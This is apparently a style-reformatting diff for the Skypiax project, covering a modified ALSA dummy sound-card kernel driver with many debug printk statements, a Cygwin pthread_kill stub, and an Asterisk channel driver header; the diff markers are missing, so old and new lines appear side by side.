struct snd_dummy_pcm *dpcm=NULL;
struct snd_dummy_pcm *dpcm = NULL;
//unsigned long flags;
int i;
int i;
giovatimer.expires = (HZ/100) + jiffies;
giovatimer.expires = (HZ / 100) + jiffies;
add_timer(&giovatimer);
for(i=0; i< giovaindex +1; i++) {
for (i = 0; i < giovaindex + 1; i++) {
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
}
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
}
//printk("giova: timer_func %d i=%d\n", __LINE__, i);
if(giovadpcms[i].started != 1)
continue;
dpcm = giovadpcms[i].dpcm;
if(dpcm==NULL){
printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
continue;
}
if(in_irq())
printk("giova: timer_func %d %d we are in HARDWARE IRQ\n", __LINE__, i);
//if(in_softirq())
if (giovadpcms[i].started != 1)
continue;
dpcm = giovadpcms[i].dpcm;
if (dpcm == NULL) {
printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
continue;
}
if (in_irq())
printk("giova: timer_func %d %d we are in HARDWARE IRQ\n", __LINE__, i);
//if(in_softirq())
//printk("giova: timer_func %d %d we are in SOFT IRQ\n", __LINE__, i);
//printk("giova: timer_func %d %d\n", __LINE__, i);
//spin_lock_irqsave(&dpcm->lock, flags);
spin_lock_bh(&dpcm->lock);
dpcm->pcm_irq_pos += dpcm->pcm_bps * (HZ/100);
dpcm->pcm_buf_pos += dpcm->pcm_bps * (HZ/100);
dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
//spin_unlock_irqrestore(&dpcm->lock, flags);
spin_unlock_bh(&dpcm->lock);
snd_pcm_period_elapsed(dpcm->substream);
} else {
//spin_unlock_irqrestore(&dpcm->lock, flags);
spin_unlock_bh(&dpcm->lock);
//spin_lock_irqsave(&dpcm->lock, flags);
spin_lock_bh(&dpcm->lock);
dpcm->pcm_irq_pos += dpcm->pcm_bps * (HZ / 100);
dpcm->pcm_buf_pos += dpcm->pcm_bps * (HZ / 100);
dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
//spin_unlock_irqrestore(&dpcm->lock, flags);
spin_unlock_bh(&dpcm->lock);
snd_pcm_period_elapsed(dpcm->substream);
} else {
//spin_unlock_irqrestore(&dpcm->lock, flags);
spin_unlock_bh(&dpcm->lock);
}
}
}
}
static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *substream)
{
@@ -367,76 +365,71 @@ static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *su
//printk("giova: pointer %d %p\n", __LINE__, dpcm);
//return bytes_to_frames(runtime, dpcm->pcm_buf_pos / dpcm->pcm_hz);
return (dpcm->pcm_buf_pos / dpcm->pcm_hz)/2;
return (dpcm->pcm_buf_pos / dpcm->pcm_hz) / 2;
}
static struct snd_pcm_hardware snd_card_dummy_playback =
{
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
.formats = USE_FORMATS,
.rates = USE_RATE,
.rate_min = USE_RATE_MIN,
.rate_max = USE_RATE_MAX,
.channels_min = USE_CHANNELS_MIN,
.channels_max = USE_CHANNELS_MAX,
.buffer_bytes_max = MAX_BUFFER_SIZE,
.period_bytes_min = 64,
.period_bytes_max = MAX_PERIOD_SIZE,
.periods_min = USE_PERIODS_MIN,
.periods_max = USE_PERIODS_MAX,
.fifo_size = 0,
static struct snd_pcm_hardware snd_card_dummy_playback = {
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
.formats = USE_FORMATS,
.rates = USE_RATE,
.rate_min = USE_RATE_MIN,
.rate_max = USE_RATE_MAX,
.channels_min = USE_CHANNELS_MIN,
.channels_max = USE_CHANNELS_MAX,
.buffer_bytes_max = MAX_BUFFER_SIZE,
.period_bytes_min = 64,
.period_bytes_max = MAX_PERIOD_SIZE,
.periods_min = USE_PERIODS_MIN,
.periods_max = USE_PERIODS_MAX,
.fifo_size = 0,
};
static struct snd_pcm_hardware snd_card_dummy_capture =
{
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
.formats = USE_FORMATS,
.rates = USE_RATE,
.rate_min = USE_RATE_MIN,
.rate_max = USE_RATE_MAX,
.channels_min = USE_CHANNELS_MIN,
.channels_max = USE_CHANNELS_MAX,
.buffer_bytes_max = MAX_BUFFER_SIZE,
.period_bytes_min = 64,
.period_bytes_max = MAX_PERIOD_SIZE,
.periods_min = USE_PERIODS_MIN,
.periods_max = USE_PERIODS_MAX,
.fifo_size = 0,
static struct snd_pcm_hardware snd_card_dummy_capture = {
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
.formats = USE_FORMATS,
.rates = USE_RATE,
.rate_min = USE_RATE_MIN,
.rate_max = USE_RATE_MAX,
.channels_min = USE_CHANNELS_MIN,
.channels_max = USE_CHANNELS_MAX,
.buffer_bytes_max = MAX_BUFFER_SIZE,
.period_bytes_min = 64,
.period_bytes_max = MAX_PERIOD_SIZE,
.periods_min = USE_PERIODS_MIN,
.periods_max = USE_PERIODS_MAX,
.fifo_size = 0,
};
static void snd_card_dummy_runtime_free(struct snd_pcm_runtime *runtime)
{
int i;
int i;
//int found=0;
//printk("snd_card_dummy_runtime_free giova 1 giovaindex=%d dpcm=%p runtime=%p\n", giovaindex, runtime->private_data, runtime);
spin_lock_bh(&giovalock);
for(i=0; i < giovaindex; i++) {
for (i = 0; i < giovaindex; i++) {
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
}
//if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm)){
if ((giovadpcms[i].dpcm == runtime->private_data)) {
//printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
//giovadpcms[i].dpcm = NULL;
//giovadpcms[i].substream = NULL;
giovadpcms[i].started = 0;
//break;
} else {
//printk("giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
}
}
//if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm)){
if((giovadpcms[i].dpcm == runtime->private_data)){
//printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
//giovadpcms[i].dpcm = NULL;
//giovadpcms[i].substream = NULL;
giovadpcms[i].started = 0;
//break;
} else {
//printk("giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
}
}
spin_unlock_bh(&giovalock);
kfree(runtime->private_data);
}
static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *hw_params)
static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *hw_params)
{
return snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params));
}
@@ -450,13 +443,13 @@ static struct snd_dummy_pcm *new_pcm_stream(struct snd_pcm_substream *substream)
{
struct snd_dummy_pcm *dpcm;
int i;
int found=0;
int found = 0;
//printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
if (! dpcm){
if (!dpcm) {
//spin_unlock_bh(&giovalock);
printk("giova, %s:%d, giovaindex=%d NO MEMORY!!!!\n", __FILE__, __LINE__, giovaindex);
return dpcm;
@@ -470,49 +463,48 @@ static struct snd_dummy_pcm *new_pcm_stream(struct snd_pcm_substream *substream)
spin_lock_bh(&giovalock);
//printk("giova 1 giovaindex=%d dpcm=%p substream=%p sizeof=%lu\n", giovaindex, dpcm, substream, sizeof(*dpcm));
for(i=0; i < giovaindex; i++) {
for (i = 0; i < giovaindex; i++) {
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
}
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
}
//if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm))
if((giovadpcms[i].substream == substream)){
found=1;
if ((giovadpcms[i].substream == substream)) {
found = 1;
break;
}
}
if(!found){
if (!found) {
giovadpcms[giovaindex].substream=substream;
giovadpcms[giovaindex].substream = substream;
giovaindex++;
//printk("giova 2 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
}
found =0;
for(i=0; i < giovaindex; i++) {
found = 0;
for (i = 0; i < giovaindex; i++) {
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
}
if(giovadpcms[i].substream == substream){
giovadpcms[i].dpcm=dpcm;
giovadpcms[i].started=0;
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
}
if (giovadpcms[i].substream == substream) {
giovadpcms[i].dpcm = dpcm;
giovadpcms[i].started = 0;
found = 1;
//printk("giova 3 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
break;
}
}
}
spin_unlock_bh(&giovalock);
if(!found) {
if (!found) {
printk("skypiax giovaindex=%d NOT found????\n", giovaindex);
}
//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
return dpcm;
}
@@ -535,7 +527,7 @@ static int snd_card_dummy_playback_open(struct snd_pcm_substream *substream)
runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
}
if (substream->pcm->device & 2)
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
err = add_playback_constraints(runtime);
if (err < 0)
return err;
@@ -561,7 +553,7 @@ static int snd_card_dummy_capture_open(struct snd_pcm_substream *substream)
runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
}
if (substream->pcm->device & 2)
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
err = add_capture_constraints(runtime);
if (err < 0)
return err;
@@ -584,35 +576,33 @@ static int snd_card_dummy_capture_close(struct snd_pcm_substream *substream)
}
static struct snd_pcm_ops snd_card_dummy_playback_ops = {
.open = snd_card_dummy_playback_open,
.close = snd_card_dummy_playback_close,
.ioctl = snd_pcm_lib_ioctl,
.hw_params = snd_card_dummy_hw_params,
.hw_free = snd_card_dummy_hw_free,
.prepare = snd_card_dummy_pcm_prepare,
.trigger = snd_card_dummy_pcm_trigger,
.pointer = snd_card_dummy_pcm_pointer,
.open = snd_card_dummy_playback_open,
.close = snd_card_dummy_playback_close,
.ioctl = snd_pcm_lib_ioctl,
.hw_params = snd_card_dummy_hw_params,
.hw_free = snd_card_dummy_hw_free,
.prepare = snd_card_dummy_pcm_prepare,
.trigger = snd_card_dummy_pcm_trigger,
.pointer = snd_card_dummy_pcm_pointer,
};
static struct snd_pcm_ops snd_card_dummy_capture_ops = {
.open = snd_card_dummy_capture_open,
.close = snd_card_dummy_capture_close,
.ioctl = snd_pcm_lib_ioctl,
.hw_params = snd_card_dummy_hw_params,
.hw_free = snd_card_dummy_hw_free,
.prepare = snd_card_dummy_pcm_prepare,
.trigger = snd_card_dummy_pcm_trigger,
.pointer = snd_card_dummy_pcm_pointer,
.open = snd_card_dummy_capture_open,
.close = snd_card_dummy_capture_close,
.ioctl = snd_pcm_lib_ioctl,
.hw_params = snd_card_dummy_hw_params,
.hw_free = snd_card_dummy_hw_free,
.prepare = snd_card_dummy_pcm_prepare,
.trigger = snd_card_dummy_pcm_trigger,
.pointer = snd_card_dummy_pcm_pointer,
};
static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
int substreams)
static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device, int substreams)
{
struct snd_pcm *pcm;
int err;
err = snd_pcm_new(dummy->card, "Dummy PCM", device,
substreams, substreams, &pcm);
err = snd_pcm_new(dummy->card, "Dummy PCM", device, substreams, substreams, &pcm);
if (err < 0)
return err;
dummy->pcm = pcm;
@@ -621,9 +611,7 @@ static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
pcm->private_data = dummy;
pcm->info_flags = 0;
strcpy(pcm->name, "Dummy PCM");
snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS,
snd_dma_continuous_data(GFP_KERNEL),
128*1024, 1024*1024);
snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS, snd_dma_continuous_data(GFP_KERNEL), 128 * 1024, 1024 * 1024);
return 0;
}
@@ -637,8 +625,7 @@ static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
.private_value = addr, \
.tlv = { .p = db_scale_dummy } }
static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_info *uinfo)
static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo)
{
uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER;
uinfo->count = 2;
@@ -646,15 +633,14 @@ static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol,
uinfo->value.integer.max = 100;
return 0;
}
static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int addr = kcontrol->private_value;
//unsigned long flags;
if(in_irq())
if (in_irq())
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
//printk("giova: volume get %d %d\n", __LINE__, addr);
//spin_lock_irq(&dummy->mixer_lock);
@@ -667,15 +653,14 @@ static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol,
return 0;
}
static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int change, addr = kcontrol->private_value;
int left, right;
//unsigned long flags;
if(in_irq())
if (in_irq())
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
left = ucontrol->value.integer.value[0];
if (left < -50)
@@ -691,8 +676,7 @@ static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol,
//spin_lock_irq(&dummy->mixer_lock);
//spin_lock_irqsave(&dummy->mixer_lock, flags);
spin_lock_bh(&dummy->mixer_lock);
change = dummy->mixer_volume[addr][0] != left ||
dummy->mixer_volume[addr][1] != right;
change = dummy->mixer_volume[addr][0] != left || dummy->mixer_volume[addr][1] != right;
dummy->mixer_volume[addr][0] = left;
dummy->mixer_volume[addr][1] = right;
//spin_unlock_irq(&dummy->mixer_lock);
@@ -710,15 +694,14 @@ static const DECLARE_TLV_DB_SCALE(db_scale_dummy, -4500, 30, 0);
.private_value = addr }
#define snd_dummy_capsrc_info snd_ctl_boolean_stereo_info
static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int addr = kcontrol->private_value;
//unsigned long flags;
if(in_irq())
if (in_irq())
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
//spin_lock_irq(&dummy->mixer_lock);
//spin_lock_irqsave(&dummy->mixer_lock, flags);
@@ -739,15 +722,14 @@ static int snd_dummy_capsrc_put(struct snd_kcontrol *kcontrol, struct snd_ctl_el
int left, right;
//unsigned long flags;
if(in_irq())
if (in_irq())
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
left = ucontrol->value.integer.value[0] & 1;
right = ucontrol->value.integer.value[1] & 1;
//spin_lock_irq(&dummy->mixer_lock);
//spin_lock_irqsave(&dummy->mixer_lock, flags);
spin_lock_bh(&dummy->mixer_lock);
change = dummy->capture_source[addr][0] != left &&
dummy->capture_source[addr][1] != right;
change = dummy->capture_source[addr][0] != left && dummy->capture_source[addr][1] != right;
dummy->capture_source[addr][0] = left;
dummy->capture_source[addr][1] = right;
//spin_unlock_irq(&dummy->mixer_lock);
@@ -758,16 +740,16 @@ static int snd_dummy_capsrc_put(struct snd_kcontrol *kcontrol, struct snd_ctl_el
}
static struct snd_kcontrol_new snd_dummy_controls[] = {
DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
};
static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
@@ -777,11 +759,11 @@ static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
int err;
//giova if (snd_BUG_ON(!dummy))
//giova return -EINVAL;
//giova return -EINVAL;
spin_lock_init(&dummy->mixer_lock);
strcpy(card->mixername, "Dummy Mixer");
//printk("giova: new_mixer %d\n", __LINE__);
return 0; //giova no mixer
return 0; //giova no mixer
for (idx = 0; idx < ARRAY_SIZE(snd_dummy_controls); idx++) {
err = snd_ctl_add(card, snd_ctl_new1(&snd_dummy_controls[idx], dummy));
@@ -798,15 +780,14 @@ static int __devinit snd_dummy_probe(struct platform_device *devptr)
int idx, err;
int dev = devptr->id;
card = snd_card_new(index[dev], id[dev], THIS_MODULE,
sizeof(struct snd_dummy));
if (card == NULL)
return -ENOMEM;
card = snd_card_new(index[dev], id[dev], THIS_MODULE, sizeof(struct snd_dummy));
if (card == NULL)
return -ENOMEM;
//giova err = snd_card_create(index[dev], id[dev], THIS_MODULE,
//giova sizeof(struct snd_dummy), &card);
//giova sizeof(struct snd_dummy), &card);
//giova if (err < 0)
//giova return err;
//giova return err;
dummy = card->private_data;
dummy->card = card;
for (idx = 0; idx < MAX_PCM_DEVICES && idx < pcm_devs[dev]; idx++) {
@@ -832,7 +813,7 @@ static int __devinit snd_dummy_probe(struct platform_device *devptr)
platform_set_drvdata(devptr, card);
return 0;
}
__nodev:
__nodev:
snd_card_free(card);
return err;
}
@@ -856,7 +837,7 @@ static int snd_dummy_suspend(struct platform_device *pdev, pm_message_t state)
snd_pcm_suspend_all(dummy->pcm);
return 0;
}
static int snd_dummy_resume(struct platform_device *pdev)
{
struct snd_card *card = platform_get_drvdata(pdev);
@@ -869,15 +850,14 @@ static int snd_dummy_resume(struct platform_device *pdev)
#define SND_DUMMY_DRIVER "snd_dummy"
static struct platform_driver snd_dummy_driver = {
.probe = snd_dummy_probe,
.remove = __devexit_p(snd_dummy_remove),
.probe = snd_dummy_probe,
.remove = __devexit_p(snd_dummy_remove),
#ifdef CONFIG_PM
.suspend = snd_dummy_suspend,
.resume = snd_dummy_resume,
.suspend = snd_dummy_suspend,
.resume = snd_dummy_resume,
#endif
.driver = {
.name = SND_DUMMY_DRIVER
},
.driver = {
.name = SND_DUMMY_DRIVER},
};
static void snd_dummy_unregister_all(void)
@@ -897,38 +877,37 @@ static int __init alsa_card_dummy_init(void)
if (err < 0)
return err;
if(!giovastarted){
giovastarted=1;
spin_lock_init(&giovalock);
if (!giovastarted) {
giovastarted = 1;
spin_lock_init(&giovalock);
spin_lock_bh(&giovalock);
for(i=0; i<MAX_PCM_SUBSTREAMS;i++){
spin_lock_bh(&giovalock);
for (i = 0; i < MAX_PCM_SUBSTREAMS; i++) {
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
}
giovadpcms[i].substream = NULL;
giovadpcms[i].dpcm = NULL;
giovadpcms[i].started = 0;
}
init_timer(&giovatimer);
//giovatimer.data = (unsigned long) dpcm;
giovatimer.data = (unsigned long) &giovadpcms;
giovatimer.function = snd_card_dummy_pcm_timer_function;
giovatimer.expires = (HZ / 100) + jiffies;
add_timer(&giovatimer);
printk("snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
spin_unlock_bh(&giovalock);
}
giovadpcms[i].substream=NULL;
giovadpcms[i].dpcm=NULL;
giovadpcms[i].started=0;
}
init_timer(&giovatimer);
//giovatimer.data = (unsigned long) dpcm;
giovatimer.data = (unsigned long) &giovadpcms;
giovatimer.function = snd_card_dummy_pcm_timer_function;
giovatimer.expires = (HZ/100) + jiffies;
add_timer(&giovatimer);
printk("snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
spin_unlock_bh(&giovalock);
}
cards = 0;
for (i = 0; i < SNDRV_CARDS; i++) {
struct platform_device *device;
if (! enable[i])
if (!enable[i])
continue;
device = platform_device_register_simple(SND_DUMMY_DRIVER,
i, NULL, 0);
device = platform_device_register_simple(SND_DUMMY_DRIVER, i, NULL, 0);
if (IS_ERR(device))
continue;
if (!platform_get_drvdata(device)) {
@@ -955,4 +934,4 @@ static void __exit alsa_card_dummy_exit(void)
}
module_init(alsa_card_dummy_init)
module_exit(alsa_card_dummy_exit)
module_exit(alsa_card_dummy_exit)
File diff suppressed because it is too large. Load diff
@@ -7,11 +7,11 @@ int cyg_no_pthreadkill(int thread, int sig);
int cyg_no_pthreadkill(int thread, int sig)
{
#ifdef PRINTMSGCYG
if (option_debug) {
printf
("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
(unsigned long int) thread, sig);
}
if (option_debug) {
printf
("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
(unsigned long int) thread, sig);
}
#endif // PRINTMSGCYG
return 0;
return 0;
}
@@ -6,7 +6,7 @@
#define SKYPIAX_SVN_VERSION "????NO_REVISION???"
#endif
#include <asterisk/version.h> /* needed here for conditional compilation on version.h */
#include <asterisk/version.h> /* needed here for conditional compilation on version.h */
/* the following #defs are for LINUX */
#ifndef __CYGWIN__
#ifndef ASTERISK_VERSION_1_6
@@ -40,7 +40,7 @@
/* INCLUDES */
#ifdef ASTERISK_VERSION_1_6
#include <asterisk.h> /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
#include <asterisk.h> /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
#endif /* ASTERISK_VERSION_1_6 */
#include <unistd.h>
#include <termios.h>
@@ -102,10 +102,10 @@
#warning Please review Skypiax AST_DIGIT_ANYDIG
#endif
#ifndef _ASTERISK_H
#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
extern char ast_config_AST_CONFIG_DIR[AST_CONFIG_MAX_PATH];
int ast_register_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
int ast_register_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
#endif
/* DEFINITIONS */
@@ -118,7 +118,7 @@ void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some a
* be representable in 16 bits to avoid overflows.
*/
#define BOOST_SCALE (1<<9)
#define BOOST_MAX 40 /* slightly less than 7 bits */
#define BOOST_MAX 40 /* slightly less than 7 bits */
/* call flow from the device */
#define CALLFLOW_CALL_IDLE AST_STATE_DOWN
#define CALLFLOW_INCOMING_RING AST_STATE_RING
@@ -199,38 +199,38 @@ void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some a
*/
#ifdef WANT_SKYPE_X11
struct AsteriskHandles {
Window skype_win;
Display *disp;
Window win;
int fdesc[2];
Window skype_win;
Display *disp;
Window win;
int fdesc[2];
};
#else /* WANT_SKYPE_X11 */
struct AsteriskHandles {
HWND win32_hInit_MainWindowHandle;
HWND win32_hGlobal_SkypeAPIWindowHandle;
int fdesc[2];
HWND win32_hInit_MainWindowHandle;
HWND win32_hGlobal_SkypeAPIWindowHandle;
int fdesc[2];
};
#endif /* WANT_SKYPE_X11 */
#ifndef WIN32
struct SkypiaxHandles {
Window skype_win;
Display *disp;
Window win;
int api_connected;
int fdesc[2];
Window skype_win;
Display *disp;
Window win;
int api_connected;
int fdesc[2];
};
#else //WIN32
struct SkypiaxHandles {
HWND win32_hInit_MainWindowHandle;
HWND win32_hGlobal_SkypeAPIWindowHandle;
HINSTANCE win32_hInit_ProcessHandle;
char win32_acInit_WindowClassName[128];
UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
int api_connected;
int fdesc[2];
HWND win32_hInit_MainWindowHandle;
HWND win32_hGlobal_SkypeAPIWindowHandle;
HINSTANCE win32_hInit_ProcessHandle;
char win32_acInit_WindowClassName[128];
UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
int api_connected;
int fdesc[2];
};
#endif //WIN32
@@ -239,65 +239,65 @@ struct SkypiaxHandles {
* \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
*/
struct skypiax_pvt {
char *name; /*!< \brief 'name' of the interface (channel) */
int interface_state; /*!< \brief 'state' of the interface (channel) */
